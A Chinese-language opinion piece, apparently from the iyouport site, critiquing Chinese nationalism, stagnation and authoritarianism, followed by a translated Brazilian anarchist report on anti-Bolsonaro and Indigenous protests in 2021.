中国陷入了 “中等收入” 的陷阱。与韩国相比，到目前为止，统治结构能够在政治上击败工人的斗争，而不必改变自己。当局没有被撤换，工作条件没有得到改善 —— 这就是为什么生产力停滞不前的原因。

维持权力的机制以停滞的代价阻断了内在的矛盾。

经济学教授 Eva Paus 将处于中等收入陷阱的国家的情况称为 “红皇后效应”。就像《镜子后面的爱丽丝》中的红皇后一样，这样的社会必须越跑越快—— 而仅仅是为了留在原地而不滑倒。因此，“内卷” 的口号相当贴切地抓住了这种情况。

「图」

战争姿态

「图」

直到几年前，美国在中国的形象还主要是正面的，尽管有存在反美主义。在私人繁荣、消费、法律安全和性别平等方面，西方工业化国家代表了一个值得努力的目标。

这表现在中国人普遍希望到美国留学，热衷于好莱坞和各种美国品牌，这也导致了人才向美国的转移。几十年来，西方一直试图通过文

化产品、非政府组织、体育等来影响中国的国内政治发展。

甚至在习近平上台之前，中国共产党就开始试图一点一点地封闭社会，以抵制这些影响。除了文化和“外国间谍”（所有非政府组织都被贴上了这个标签），真正的间谍人员也成为了目标。

2010年，多起间谍案被揭露出来。在公开场合，这些案件被说成是腐败案件，以避免尴尬地承认中情局在共产党和军队中有几个有影响力的特工，他们甚至为晋升需求而收受贿赂。

习近平采取了干预，继续开展反腐运动，接管香港，收紧审查和监控，限制签证，控制非政府组织，以及更普遍地扩大镇压，以保护党的文化和意识形态力量不会被严重削弱。

与特朗普的贸易战仅仅是延缓了中国学生向美国的人才输送。大流行病的出现才真正扭转了这种趋势。2020年，大约有70万中国人从国外回来。高感染率和死亡率，特别是在美国，一直是中国宣传的机会，把中国自己的体制描绘得更优越。

【注：在这里看着相关分析《疾病、死亡和治理：冠状病毒防疫与政治制度之间的关系有多大？》】

“东方兴起，西方衰落”，许多人相信并延续了这一点。甚至一些邀请我到他们村子里吃饭的农民在问我从哪里来时，也向我解释说，德国是好的（相对于中国而言），但美国和英国，现在还有法国，都不是好的，在中国，大流行病被成功击败了，因为生命是最优先的。正如我的同事所说，“中国是伟大的”。

即使它继续看起来好像主要目标是分散/动员自己的人口，中国正在大力武装自己，在3月的人民代表大会上，习近平呼吁军队“做好战斗准备”（这导致美国军事官员警告说中国将攻击台湾）。

美国拥有遍布全球的数百个军事基地，在未来很长一段时间内将保持军事优势。但中国正在积极地参与军备竞赛。就军舰的数量和总吨位而言，其海军是世界上最大的，并将在不久的将来从300艘扩大到约425艘，包括90艘潜艇和至少6艘航空母舰。这掩盖了乔瓦尼·阿里吉等人的希望，即 从中国的历史中可以推断出它将是一个“和平的霸主”。

【注：对此，不久后将可以看到这两篇文章中的解释《在拜登任期内，美国和中国会在西太平洋擦枪走火吗？》，以及《中国的银河帝

国，和高堡奇人》】

「图」

How many foreign U.S. military bases are there in the world

“万岁” ...?

「图」

我们已经多次强调这点，中国对新冷战的拒绝导致西方国家的许多左翼也包括自由派渴望来自中国的好消息。一些中国的小规模的罢工就会被西方反抗者认为是阶级抗争回归的信号，习近平对二氧化碳中和的宣传承诺也被西方反抗者幻想成是对地球的拯救。

顺便说一句，在一个警察国家和审查制度的国家，谁能够核实承诺是否真的被遵守？世卫组织在寻找病毒来源的过程中受到的阻挠并没有给人们留下多少乐观的空间。

西方的反抗者必须明白，只有在人们至少有一定的自由来表达自己对公共秩序的拒绝时，才会有有组织的团体、期刊、公开辩论和会议。这样的反抗者在中国·并·不·存·在。相反，在这里，对社会不满的年轻人，如对习近平海报泼墨的女性，被送入精神病院。

这些都是美国和西方其他地方的反战联盟和中国民族主义者呼吁“反对新冷战”的额外原因，它可能听起来不错，但不幸的是，它是不现实的和天真的。国家宣传电视台的名人也在上面签名 —— 但是，请注意，他们都不会批评中国的军国主义和民族主义。

桥组(Qiao Collective) 的网站是这种两面派政治的另一个例子：在英语中，他们反对战争，但是在中国，他们绝不会抗议中共的剑走偏锋行为。他们公然爱国，为香港的警察暴力和天安门大屠杀辩护，否认新疆的难民营 ……

可是为什么这种人在中国甚至被认为是左翼？它事实上是极右翼才对。许多中国民族主义者使用左派、国际主义或反新自由主义的言论，但是，却赞美和宣扬威权主义；他们把“恐中症”作为一个带有政治色彩的术语，把对中国的任何批评都斥为种族主义 —— 同时为一个既不基于普世价值观也不从根本上拒绝的政权辩护。

更要命的是，中国的异议人士对很多概念具有严重的误解，虽然中国

异议人士能看出上述*伪*左翼的荒唐，但他们没能充分揭露伪造，而是转为将自身称为 “右翼保守者”—— 旨在声明 “我们和他们对立”，从而进一步扩大了错误概念的蔓延（甚至八九抗议者将自身称为 “反革命”、“反动派” …… 这是荒唐的。政府才是反动派）。

2020年9月，一份针对工人的毛派网络杂志在一篇关于冠状病毒感染的文章中声称，中国的工厂没有爆发冠状病毒，但在美国、德国、法国、西班牙、意大利等地却有很多：“资本家只关心利润，他们不关心工人的生命”。而事实上，中国的工厂也出现过感染事件，中国也是资本主义的，虽然不充分。

但是，在中国，你能听到的大多数对资本主义的批评都很容易变成民族主义的宣传。任何为这些人翻译有关欧洲疫情的文本或在国外组织声援抗议活动的人都必须预料到这些内容会被用于民族主义宣传，而不是促进跨国联合。【为什么中国难以出现跨国联合、甚至本土联合都很难？上述部分有解释】

但这不是绝对的。另一方面，我认识很多中国人，他们根本不想把自己与世界隔绝开来，相反，他们正在共同反对专制主义。我们只有批评民族主义和专制主义、抵制伪造的所谓 “左翼” 言论，才能和他们一起战斗。

任何想避免这种错误的人必须做三件事：1）强化批评民族主义和剥削；2）停止关注中产阶级；3）在其社会背景下判断文化现象。

对中国以外的资本主义持批评态度的真正的左翼中国人必须最终明白，中国共产党并没有提供比自由主义资本主义更好的替代方案。从雇佣工人的角度来看，中国长期以来一直是资本主义的 —— 与高度的压迫和专制独裁相结合；中国的工人阶级的斗争在中国的发展中也是如此。

【注：我们非常同意这点，我们在中国也遇到了真正的左翼年轻朋友，甚至无政府主义者，他们中一些人有着优秀的技术能力、语言能力或两者兼备，他们与全球进步力量之间有着让人惊喜的信息交互，其中一些朋友为IYP提供过资源和帮助。他们不会被中国的民族主义伪左所干扰。这些进步派朋友对中国和世界的认识之清晰，远超过绝大多数 “著名” 的中国异议人士。但是有一些障碍在于，在中国当局制造的错误概念 “大流行” 环境下，这些进步派的中国朋友使用全球通用的反抗语言时，与中国本土的其他异议人士和反抗力量之间难以沟通。】

韩国工人阶级的斗争在1990年代在政治上受到民主化和工会的阻挠，但在经济上得到了“回报”（在这里看到详细解释《“汉江奇迹”是建立在猖獗的剥削和大规模镇压的基础之上的》英文）；中国的工人阶级也被审查制度、专制主义和暴力所阻止，在政治和经济上都被边缘化。

在今天的条件下，是否有可能争取并赢得大规模的物质改善 —— 而这随后也会导致类似法治的出现？还是必须先打破审查制度、宣传和专制主义的恶性循环，然后才有可能再次进行共同斗争？在中国，这两方面（经济和政治压制）都是紧密相连的。那些不理解这一点的人只会继续自取其辱，就像德国杂志《Konkret》庆祝香港警察用警棍对付“亚洲的Pegida”那样。

【注：Pegida是德语缩略词（德语：Patriotische Europaer Gegen die Islamisierung des Abendlandes），意思是“欧洲爱国者反西方伊斯兰化”。用这个词描述香港抗议者无比的荒唐。】

这个世界工场被中国的老板们控制着。低工资和长工时的主要受益者是中国的统治阶级，而反抗必须来自中国的人民。围绕这一点有很多误解，例如，有人声称中国工人为全球的口罩需求付出了代价。他们汗流浃背的身体为漫长的工作时间、快速的工作节奏和恶劣的工作条件付出了代价，但不是为当地或全球的需求付出代价。作为受薪工人，我们因被迫工作和工作条件而受苦，但不是因为有人为我们的劳动能力提供工资。请切记这点。

当富有的中产阶级房主抗议房地产市场改革时，绝对没有必要与他们建立团结！他们最好被描述为宝马或其他汽车制造商。现在拥有西方生活标准的中国上层中产阶级甚至不能被认为是潜在的盟友！（顺便说一句，他们自己的评估是相当唯物的：他们是现行体制的受益者，他们自然认为民主变革不会给他们带来任何好处）。

该运动的许多“英雄”也来自中产阶级。中共总是称赞“劳动英雄”或“抗击大疫的英雄”，它甚至有权力命名“反对派英雄”。而非政府组织或其他批判性社会圈子里有影响力的活动家被逮捕，以杀鸡儆猴；然后支持者为被监禁者组织声援活动，并把他们作为榜样和英雄来庆祝。

这使得所有其他“非英雄”的贡献全部被忽略了，并强化了等级制度。如果您尚未理解这点，请参加《去它妈的民族英雄》。

我们需要的不是个人英雄，而是广泛的、平等的团结。

当中国人抗议时，外国民主人士往往认为是对“不公正政权”的基本反叛的开始，而实际上，中国抗议者只是在为偿还学贷或讨要工资而斗争。

西方人对中国的反体制抗议有一种普遍的期待，但这是建立在一种误解之上的，即 生活在独裁政权中的人永远遭受独裁政权本身的伤害 —— 西方人认为中国人能充分体会到这点。但是，首先，中国人和其他地方的人一样，遭受着低工资、昂贵的租金、卑鄙的老板、性别歧视等等；因此，从中国人的角度来看，斗争主要是关于更高的工资、社会保障、更便宜的住房、善良一点的老板 …… 是关于具体的问题和改善，而不是抽象的原则和政治自由，而且到目前为止也完全不是关于革命的。

出于失望，近年来，一些西方人将注意力转向了中国的亚文化，往往忽略了与之相伴的强烈的个人主义特征。人们接受了工作日的延长，并以“浑水摸鱼”的方式报复，在工作中偷懒。（对此，推荐一篇不错的德语文章“Fische anfassen”）。

通过女性反抗进行的社会变革更为重要。与许多国家一样，在中国发生了一场通过教育进行的无声的性别革命。女性占大学毕业生的大多数，但在工业和社会中的代表人数仍然严重不足。

在一个典型的学校里，男教师拥有来自平庸或次平庸大学的学士学位，而女教师则毕业于顶尖大学，许多人拥有硕士学位。在我的工作场所也是如此。自20世纪90年代以来，女性劳动力参与率已从75%下降到60%。劳动力市场和教育系统不允许有孩子的妇女将有偿工作和照顾孩子结合起来；更不用说男女之间平等地分配养育孩子的责任和家庭任务了。

「图」

这是今年3月的消息

越来越多的年轻女性宁愿保持单身或未婚，也不愿意放弃自己的自主权来换取令人沮丧的婚姻和家庭（这是在女性严重短缺的情况下！）。在某些时候，父权制的堡垒将不再能够抵御这种变化。现在，大多数男人已经不能再满足传统的角色要求了。今天，在家庭、工作中，甚至在社会批评的圈子里，针对女性的猖獗的性暴力，也可以看作是对这种发展的反应。

最后

「图」

我仍然可以假设西方和中国的社会会趋同，把这归结为教育的私有化、日益严重的不平等、房价上涨和类似的动态。虽然许多类似的社会现象，其中一些是新的，将继续出现在中国和“西方”，但我想提出一个基本问题：当我们考虑到经济的政治化、社会的分割化以及对平等主义和普遍主义社会力量的压制时，“体制的趋同”或“一致”是否仍然是一个对中国当前社会发展有意义的观点？（对此，在这里看到解释）

12月中旬，中央经济工作会议通过了“五项基本任务”，并决定在2021年，安全将优先于发展—— 当然，这不是自由化的指标。2022年春季在北京举行的冬奥会是否会按计划进行，还有待观察。让我们看看中国届时会允许多少国际媒体进入该国。

社会的孤立以及随之而来的沙文主义、民族主义和种族主义甚至可能进一步加剧。也许随着大流行病的消退，新的机会将再次打开，但目前情况仍然很困难。

在习近平的领导下，无论是突然的金融危机还是政治秩序的危机似乎都不可能发生。更有可能的是，镇压和军事化将以停滞的代价继续下去。

虽然政治条件似乎很稳定，但工人阶级已经发生了重大变化：从统计学上看，工人阶级已经老化，年轻人避开了工厂，他们在地理上的流动性更大，他们没有亲身经历过饥饿的恐怖，许多人上学的时间更长，在工作中感到很无聊。

包裹和食品递送工人以及建筑工人将继续抗议以提高工资—— 即使这种冲突仍然仅限于在当地进行，没有联合。

矛盾如此尖锐，不平等如此明显，年轻一代对自己的未来和社会地位如此悲观，我想知道，通过过度消耗资源和推迟社会变革，政治稳定可以维持多久。〇

原文

"只有起义才能拯救我们"：要彻底铲除让暴政掌权的土壤，而不仅仅是瓦解现有暴政 - iyouport

反抗者-寻求经验长读

是的，反抗者必需能认识到，仅仅推翻一个暴君是远远不够的。

【按】鉴于中国的极右翼思潮盛行，我们可以预测未来如果中国出现反抗行动，反抗者的对手也不仅仅是警察、间谍和军队，你们很可能将面对来自整个社会的愚蠢和保守的攻击。这种情况下要想站稳脚跟坚守战略目标，您需要足够的冷静和清醒。

别忘了，改良派最擅长画大饼，而当您饥饿得头晕眼花时，要看清哪张大饼是假的，不仅需要定力也需要智慧。

这篇文章讲述的是一个重要的思考，这一思考在很多国家具有意义，包括未来的中国。

在2022年选举之前，巴西现在正在重演美国在2020年面临的同样戏剧性的对决。随着大流行病与腐败丑闻、和对原住民土地的无节制掠夺一起加剧，贾伊尔·博索纳罗的政府面临着来自街头反抗者和国家进步力量的压力。但最重要的问题是，要如何才能推翻他，尤其是，如何打破使他上台的模式？

巴西和美国之间的相似之处很深。两者都是建立在奴隶制基础上的定居者殖民国家。美国在很大程度上已经完成了它的边境阶段，而巴西则继续将开采工作扩展到原住民地区。在这两种情况下，国家已经成为以特朗普和博索纳罗为代表的极右翼与寻求过渡到一个稍微“可持续”和“包容性”的资本主义形式的中间派技术官僚之间的战场。

从全球范围来看，这些代表了在气候危机和全球经济危机面前如何维护资本主义的竞争模式。

如果您错过了《剥削压迫、血汗工厂、强迫劳动、生态破坏 …… 高科技背后的现代奴隶制》；以及这本新书《行星矿》

当然，美国和巴西这两种模式都没有为当前的剥削压迫和警察暴力的恶梦指出出路。如果我们想有任何改变世界的希望，我们就必须在反应和改革的逻辑之外建立社会运动。如果没有在特朗普领导下的四年激烈的基层斗争，他很可能会以这种或那种方式成功地掌握权力 —— 如果这些基层斗争在拜登和继任博索纳罗的人身上没能继续下去，极右翼政客将再次能够把自己作为现状的唯一选择。

在下面的报告中，巴西无政府主义者将政府对COVID-19的种族灭绝做法框定在军事统治的遗留问题上，探讨最新的战斗性抗议浪潮，并说明机构中左翼政党如何发挥了维护现有秩序的第一道防线作用。他们提出的理由是，只有通过自主组织和反抗的方式才能从根本上改变他们面临的条件。

本文的早期版本是葡萄牙语的。贝洛奥里藏特的反法西斯活动家使用燃烧的路障封锁了街道。

双重危机，虚幻的希望

「图」

巴西正面临着一个严峻的形势。由于没有联邦计划为人口接种疫苗，COVID-19的死亡人数 —— 已经是世界上最高的平均数，每天超过1000人 —— 还在继续增长。

全国各地的人们再次走上街头，面对一个比病毒更危险的政府。

除了加剧大流行病的威胁，联邦政府和国会还在为攻击原住民提供便利，威胁他们在自己的土地上继续生存，并将剩下的森林交给采矿和农业企业。

与此同时，参议院内的反对派正在领导一个国会调查委员会（CPI），试图证明联邦政府的疏忽是故意要传播COVID-19，对穷人、黑人和原住民的影响尤为致命。调查发现了证实这一点的证据，同时还有购买疫苗的腐败丑闻。

在这种情况下，许多人重新希望现有机构可能会惩罚那些对50多万人死亡负有责任的人。然而，那些选择上街抗议的人们面对的是工会和中左翼政党，他们试图将反抗完全用于改善他们在下一次选举中的前

景。

【注：请对比民主党如何利用反特朗普的抗议运动。美国反抗者缺失了清算的步骤，导致最终的失败。未来，如果有可能的话，中国的反抗者应该能够有意识地避免这种情况的发生。】

在我们的亲人死去的时候，等待判决或选举都是没有意义的。

博索纳罗政府及其周围的反动民粹主义运动，对当前的危机采取了加倍的种族灭绝和生态灭绝的对策。机构中左翼和社会运动的所谓“温和”部门正在积极破坏基层的努力，试图支配什么形式的斗争是合法的，并与国家合作以推进他们自己的政治目标。

重要内容《暴力的非法性，合法性的暴力》

面对这种双重威胁，唯一的出路是通过自主的组织和反抗，正如原住民、黑人、无政府主义者和无党派人士的小块抵抗所显示的那样。

如果您错过了《从民主到自由》读懂这篇文章后您将更容易理解本文巴西官方公布的 COVID-19 死亡人数已超过 560,000。巴西国旗上的口号翻译为“秩序与进步”—— 这是一个适合殖民奴隶制国家的种族灭绝政府的口号。

机构在运作—— 这就是问题所在

「图」

民主通常被认为是独裁和法西斯主义的对立面。然而，正如我们在西班牙、希腊、智利和其他地方所看到的那样，这两种治理形式经常根据统治者的需要从一种顺利“过渡”到另一种。

国会调查委员会的调查可能会给一些人带来希望，但我们不能依赖这类民主仪式，这些仪式最终只是为了给一个破坏性的系统提供虚假的合法性。特别是在美洲，黑人奴隶制和原住民种族灭绝的基础暴力在每个国家都在继续，我们必须从根源上正视这些问题。

复制特朗普的剧本，博索纳罗和他的民兵们承诺，如果电子系统不被印刷选票取代，他们将对2022年的选举结果提出异议。他已经任命了6000多名现役高级军官，其中许多是将军，担任政府高级文职职位—— 比1964 ~ 1985年的独裁政权还要多，并以声望、对职务犯罪的豁免权和房地产信贷来收买宪兵的支持。他正在进行一场武装其支持

者的运动，这已经使巴西流通的武器数量翻了一番。愤怒的白人帮派帮助他构建了一个民众支持的形象，并威胁反对派。

这里与美国**2020**年选举前的政治局势有重要的相似之处。在2017年开始的调查和2019年12月开始的第一次特朗普弹劾过程中，部分美国民众等待着看机构是否会履行承诺，惩罚特朗普。自政府就职以来，针对政府的抗议活动逐渐平息，而人们则等待着看当局是否会解决这个问题。直到2020年5月警察谋杀了乔治·弗洛伊德之后，街道才再次成为人们行动的主要舞台。

民主党的知名人士和《纽约时报》等自由派企业媒体指责乔治·弗洛伊德运动抗议者“吓唬公众”，为特朗普提供了一个完美的“内部敌人”形象，以便他用来展示自己，解决政治混乱和健康危机。然而，事实证明，相当一部分人认同反对警察暴力和种族主义的激进抗议活动，因此，特朗普的人气骤降。

不是民主体制，而是人民在街头面对警察和白人至上主义民兵的勇气，孤立了特朗普，破坏了他的政治生存能力，在每一次调查和弹劾都失败的情况下，是街头的反抗者真正获得了成功。如果让那些别无选择、只能在街头采取行动的少数人独自战斗，那么极右翼就可以通过与警察一起占领街头获得更大的动力。警察和极右民兵一起会获得更多的合法性和对局势的控制，帮助特朗普在选举前主导公共辩论。

如果您错过了《武装暴徒受到警察的鼓励以镇压反抗者，这甚至不是新鲜事：通过*BLM*（*8*）》2020 年 5 月乔治·弗洛伊德 (George Floyd) 被谋杀后，明尼阿波利斯警方第三分局前的抗议者。

要在我们这个时代的政治中理解特朗普和博索纳罗，就必须把握住他们并不代表民主的死亡这一要点。相反，他们凸显了民主政府一直以来与法西斯政权重合的要素：警察和监狱、种族主义和父权制。赢得民众投票，并在议会中获得足够的支持而不受惩罚，就足以使他们能够实施其独裁计划。这一点在巴西非常明显，在那里，军队在上一次独裁统治期间犯下的迫害、逮捕、酷刑、失踪和谋杀行为，都没有面临任何后果。

博索纳罗只是这个项目的现任代表，这个“军事化党派”自1889年建国以来一直控制着共和国。

(“Brazilian Military Party”—with subtitles)

早在他成为总统之前，博索纳罗就代表了一个威胁到穷人和被排斥者

的自由和生活的暴力项目 —— 但我们无法想象这在大流行病期间会有多大的影响。巴西占世界人口的2.7%，已经占到全球COVID-19死亡人数的13%。原住民不仅面临着严重的疫情，还面临着亚马逊和潘塔纳尔的火灾，以及农业综合企业的发展、非法采矿和无管制的伐木。立法者决心以国内生产总值增长的名义，将原住民保护区交给大型庄园和采掘项目。

迄今为止，在 “拯救经济” 的幌子下，这一灭绝计划已使50多万人丧生，他们把人们塞进工作场所、学校和拥挤的公共交通中，近距离接触COVID-19危机。这并不是一个关于传播病毒的秘密计划的边缘阴谋论。Conectas Human Rights 组织和圣保罗大学对数以千计的联邦和州法律进行了研究，得出的结论是，博索纳罗政府在知情的情况下使这种大流行病得以传播。CPI的调查还包括证词显示，如果人们采取基本措施促进预防，至少有40万人的死亡是可以避免的。

同时，证明 **COVID-19** 对黑人和原住民的影响过大的研究面临着机构审查，而试图应用在世界各地行之有效的健康建议的公务员则遭遇报复。博索纳罗支持抵制疫苗接种的运动，推广无效的药品，最近还故意推迟购买疫苗，以便通过避税天堂购买价格过高的疫苗。这上面写着：“博尔索纳罗出局！还有Mourão、军官、Guedes 和那些疫苗窃贼。” Mourão 将军和 Guedes 将军分别是巴西的副总统和经济部长。

在CPI会议期间，参议员 Alessandro Vieira 将寻找对大流行病中的死亡负责的人比作对负责希特勒集中营后勤工作的纳粹官员阿道夫·艾希曼 (Adolf Eichmann) 的审判。其他人讨论了亚马逊州氧气危机期间的马瑙斯市，当时数百名患有严重**COVID-19**感染的人在医院里窒息而死，死者被埋在乱葬坑中，用参议员奥托·阿伦卡尔的话说，该市被用作通过氯喹等无效药物进行大规模治疗的 “试验场”。

【注：氯喹是一种用于治疗及预防疟疾的药物，该药以磷酸盐的形式应用于临床。若需治疗特定几种抗药病原株或复杂症状，则需配合其他抗疟药物。偶尔也会用于治疗肠道外的阿米巴原虫症、类风湿性关节炎，以及红斑性狼疮。常见副作用包含肌肉功能问题、食欲不佳、腹泻，以及红疹。对冠状病毒无效。】

参议院的调查吸引了那些不想 “只是等待2022年选举” 的人们的注意 —— 他们正在焦急地等待结果，就像美国数百万人*徒劳地*等待特朗普被定罪那样。但是，巴西的殖民项目比以往任何时候都更有活力：正在调查博索纳罗政府的同一个国会*并没有*采取任何措施来阻止那些为破坏生物群落和人民生命铺平道路的法律。

起义是为了地球

「图」

自2021年6月初以来，来自至少25个民族的原住民聚集在巴西利亚，抗议一项名为 PL 490 的法案，该法案将他们的领土交给掠夺性的经济剥削，削弱了原住民的土地权利，并鼓励同化那些选择与白人和城市社会隔离的原住民。

为了维护对其土地的权利，原住民需要证明他们的所有权状况，直到1988年《联邦宪法》通过的那一天，即 独裁统治的末期。这种对原住民的攻击是博索纳罗政府最糟糕的做法之一，但它是在2007年起草的，在工人党时期得到了很大的推进。这是迈向亚马逊地区破坏性的“不归路” 的一步，亚马逊是世界上最大的热带森林，在2020年遭受了十年来最大规模的森林砍伐，可能永远不会完全恢复。

(“The Uprising Is for the Earth”—with subtitles)

6月8日，800名原住民聚集在一起，向众议院的宪法和司法委员会（CCJ）施压，该委员会可以批准或拒绝PL/490。在FUNAI（国家印第安人基金会，巴西政府机构，负责制定和实施与原住民有关政策）的门口，警察用橡皮子弹和其他镇压弹药袭击了抗议者，当时他们正在集会并演唱传统歌曲。

7月22日，在对该法律进行投票的当天，警察再次袭击了众议院门外的抗议者，抗议者用箭反击，并击中了两名警察。这次对峙将投票推迟到7月23日，当时投票得到了大多数立法者的批准。在巴西利亚的营地仍然存在；截至本报告撰写时，营地包括来自52个民族的近2000名土著人。

警察在议事厅前袭击土著群体：

（这位抗议者脖子上挂的是警察袭击他们时使用的催泪瓦斯罐）

留在自己领土上的土著人与其他自治运动一起组织了声援行动，支持和呼应巴西利亚的斗争。6月25日，来自 Jaraguá 土著土地的瓜拉尼人用轮胎和燃烧的路障封锁了圣保罗的高速公路。6月28日，Guajajaras、Puris 和 Xoklengs 封锁了里约热内卢的一条大道。7月22日，巴伊亚州南部的原住民 Pataxó 人封锁了BR101高速公路，他们高呼：“让我们唱歌，跳catimbó，把博索纳罗用藤蔓捆绑回来”。

预计在8月PL/490面临法庭时，会有更多的抵抗。这些土著人的努力表明，不同民族和运动之间的战斗行动和团结，是反对种族灭绝国家的斗争的根本。

（他们唱的是：“巴伊亚大陆的椰子很甜，我也想喝。让我们唱歌，跳*catimbó*，把博索纳罗绑在藤蔓上”。）

对斗争的定罪

「图」

虽然刑事司法系统在任何政府下都是压迫性的，但在博索纳罗时期，针对意识形态反对者的镇压却大大加强了力度。

3月18日，在巴西利亚，联邦警察逮捕了工人党（Partido dos Trabalhadores）的激进活动家罗德里戈·皮尔哈（Rodrigo Pilha），因为他打着“博索纳罗是种族灭绝”（Bolsonaro Genocida）的横幅。皮尔哈被关押了100多天，直到他开始绝食抗议隔离、酷刑，以及在有权转移到一个半开放的设施后仍被关押。

目前他和其他四名被告正根据所谓的《国家安全法》被起诉，该法是独裁时代遗留下来的法律。

同样，在7月3日圣保罗的抗议活动中，马修斯·马查多被任意逮捕并监禁了10天，他被指控“偷”了一个他在地上发现的警察头盔。马查多在严格的法律条件下获得了自由。

两人都是在强大的公众压力下才被释放的。

这些针对抗议者的法律手段并不是新工具。迪尔玛·罗塞夫和工人党政府在2013年就使用过这些手段。然而，警察的迫害正在推进，更严厉的法律也在路上，比如博索纳罗本人在**2016**年还是国会议员时，受美国最臭名昭著的《爱国者法案》的启发而撰写的该法案。2021 年 7 月 3 日抗议者封锁了贝洛奥里藏特的高架桥。

另一项正在制定的法律 PL272 将直接攻击社会运动，将罢工和抗议活动定为犯罪，并重新引入迪尔玛·罗塞夫及其工人党政府在**2016**年下台前签署的《反恐法》中曾经被否决的段落。

正如特朗普利用奥巴马时期大幅扩大的行政特权一样，一个右翼政府再次建立在前几届政府中间偏左的立法和行政镇压工具之上。在这种

情况下，总统实施政变的意图是显而易见的，而且早在他当选之前就有了。如果他知道不会有任何抵抗，这实际上是在邀请他继续行动。正如他自己所说，是军队“决定了人民是生活在民主中还是独裁中”。虽然在迪尔玛政府之前，军方领导人一般不评论政治，并声称“完全致力于民主”，但今天他们经常发布声明，增加博索纳罗的威胁。空军首长对CPI调查军事人员腐败问题的反应是：“一个武装人员不会进行威胁”—— 这本身就是一种威胁。

博索纳罗的政府有一个众所周知的嗜好，那就是对纳粹的正面引用。7月22日，博索纳罗自豪地接待了来自极右翼政党德国选择党（AfD）的碧翠克丝·冯·斯托尔希。斯托尔希是希特勒的财政部长鲁茨·格拉夫·冯·科洛希克的孙女，她已经声称赞成“射杀难民”。她代表的是一个极端民族主义、新法西斯主义和部分新纳粹主义的政党。必要时，博索纳罗和他的家人与以色列和宗教原教旨主义走得更近，但在方便的时候，他就会发表反犹主义和新纳粹主义的言论。

（*7月22日*，博索纳罗接待了极右翼政党德国另类选择党 *AfD* 的碧翠克丝·冯·斯托尔希 *Beatrix von Storch*）

在这种情况下，支持博索纳罗的民粹主义组织，包括集会、车队和摩托车骑行，以及军事化的警察部队和对大部分行政部门的军事控制，代表了从街头到情报机构和政府高层的专制攻势。目前，曾经在州一级控制的军事警察的操纵，以及2019年警察在玻利维亚策划的政变的先例，使巴西的新政变成为了一个非常现实的威胁。

如果不是像今天的人们这样直接走上街头，而是希望在2022年的选举中或通过CPI定罪来击败博索纳罗及其支持者，那将是一个可怕的错误。请记住，特朗普从未面临来自机构内部的清算，他只是在广泛的反抗背景下输了选举。我们不能依靠议会—— 他们批准了博索纳罗政府的项目，我们也不能依靠那些政治和经济精英们 —— 他们为博索纳罗的军国主义打开了大门。即使我们设法以这种方式恢复自由民主政治，这也不会消除法西斯主义 —— 它只会随着法西斯主义回到军营，在下一次对强权有用的时候，它将再次被征召。“博索纳罗滚蛋！”6月19日，原住民在巴西利亚的示威前线。

6月和7月的叛乱

「图」

从5月29日到2021年6月和7月，社会运动和工会呼吁在全国各地举行示威，抗议博索纳罗的政府。这些抗议活动使成千上万的人们在首都

走上街头。许多人带着在大流行病中丧生的亲人的名字和照片走在游行队伍中。在许多城市，由无政府主义者、原住民、球迷和反法西斯活动家组成的自治团体带头参加。一些抗议活动具有战斗性，涉及路障、封锁、涂鸦和对富人财产的攻击。

与此同时，中左翼政党继续传播危险的观点，即2022年的选举提供了摆脱博索纳罗及其政府的唯一途径。卢拉（Luiz Inácio Lula da Silva，巴西前总统）在对他的指控因缺乏证据而被撤销后获得了参选资格；他在民意调查中是最受欢迎的。7月3日的抗议活动中，圣保罗的一个自治团体。

5月29日，警察用催泪瓦斯和橡皮子弹残忍地袭击了累西腓的和平示威，6月19日的抗议活动在圣保罗发生冲突后，这些组织呼吁在7月24日 —— 一个多月后 —— 举行新的行动。然而，涉及政府高层成员购买高价疫苗的腐败丑闻给人们带来了紧迫感，示威活动被移到了7月初。中左翼组织的工会联合会、政党和运动利用人们对机构将通过处理博索纳罗制造的危机的新希望，试图垄断对何时和如何举行示威的决定权。

许多人批评试图推迟示威活动，以缓和参与者的势头，因为他们担心这会影响他们的选举议程。当工会中央委员会和政党决定大家必须等待一个多月才能举行下一次示威，以抗议数十万起可预防的死亡事件，然后在出现腐败丑闻时投机性改变他们的决定时，他们暴露了对使极右翼能够首先掌权的同样律法主义的承诺。他们说，“大规模谋杀是我们日常生活的一部分，但腐败，现在是不可接受的”。

如果我们想抵御这种统治者，我们必须自己动手。即使我们只取得一半的胜利，比如弹劾或击败博索纳罗的选举，但如果没有街头的火光，这些都将很难发生。我们必须面对自己的运动中的律法主义和集权化倾向，放弃任何管理起义的愿望。当有人试图集中对运动的影响，将那些在街头采取行动的人分成 “合法” 和 “不合法” 的行为者时，下一步永远都是警察镇压。

从集中化到和平警察

「图」

巴西的许多社会运动声称受到哥伦比亚、美国和智利最近的斗争的启发，即使他们只是提取了部分具体的方面—— 比如 智利的新宪法或哥伦比亚人民为阻止伊万·杜克的税收改革而进行的斗争。但是，我们在这些斗争中看到的社会力量，只是因为绝大多数参与者都尊重街头

和各种组织内的各种行动。

就像工人党活动家对2013年巴西的起义或2020年美国一样，巴西的改良派正在散布偏执，认为最近的社会动荡是“渗透者”的杰作。

所谓的外部煽动者是那些从未参观过街头抗议活动的人常年援引的神话人物，这些人害怕造反胜过害怕警察。

除了拒绝将镇压归咎于造反者的叙述，我们还必须挑战这样一种观念，即：“如果我们希望安全地躲避这场大流行病，那么与其抗议，不如留在家里”—— 在一个试图将我们杀死的政府的统治下，在工作场所和公共交通上拥挤在一起……

6月19日，在圣保罗，当MTST（无家可归者工人运动）的成员对包括原住民、工会、个人和无政府主义集体在内的自治集团进行人身攻击时，我们看到了当我们不能对抗促进选举主义的社会运动中的集中化趋势时会发生什么。MTST的成员试图破除大道上的路障，并向警察报告，重复了2014年的错误，当时他们暴力地揭开了一个 black bloc 参与者的面具，并将他们交给了警察。

黑人、原住民和无政府主义运动谴责了这一事件。MTST是该国最大的运动之一，对所有参与者进行评判是不公平的，其中许多人也是原住民和黑人。这里的问题是结构性的。类似的事件在7月13日里约热内卢的抗议活动中再次出现，当时一个斯大林主义政党的成员试图通过驱逐涉及原住民和无政府主义者的自治集团来征用游行的前线，而在7月24日，PCB（巴西共产党）的成员组成人链，将一群跨性别者和无家可归者从 Casa Nem 的棚屋中驱逐并殴打。

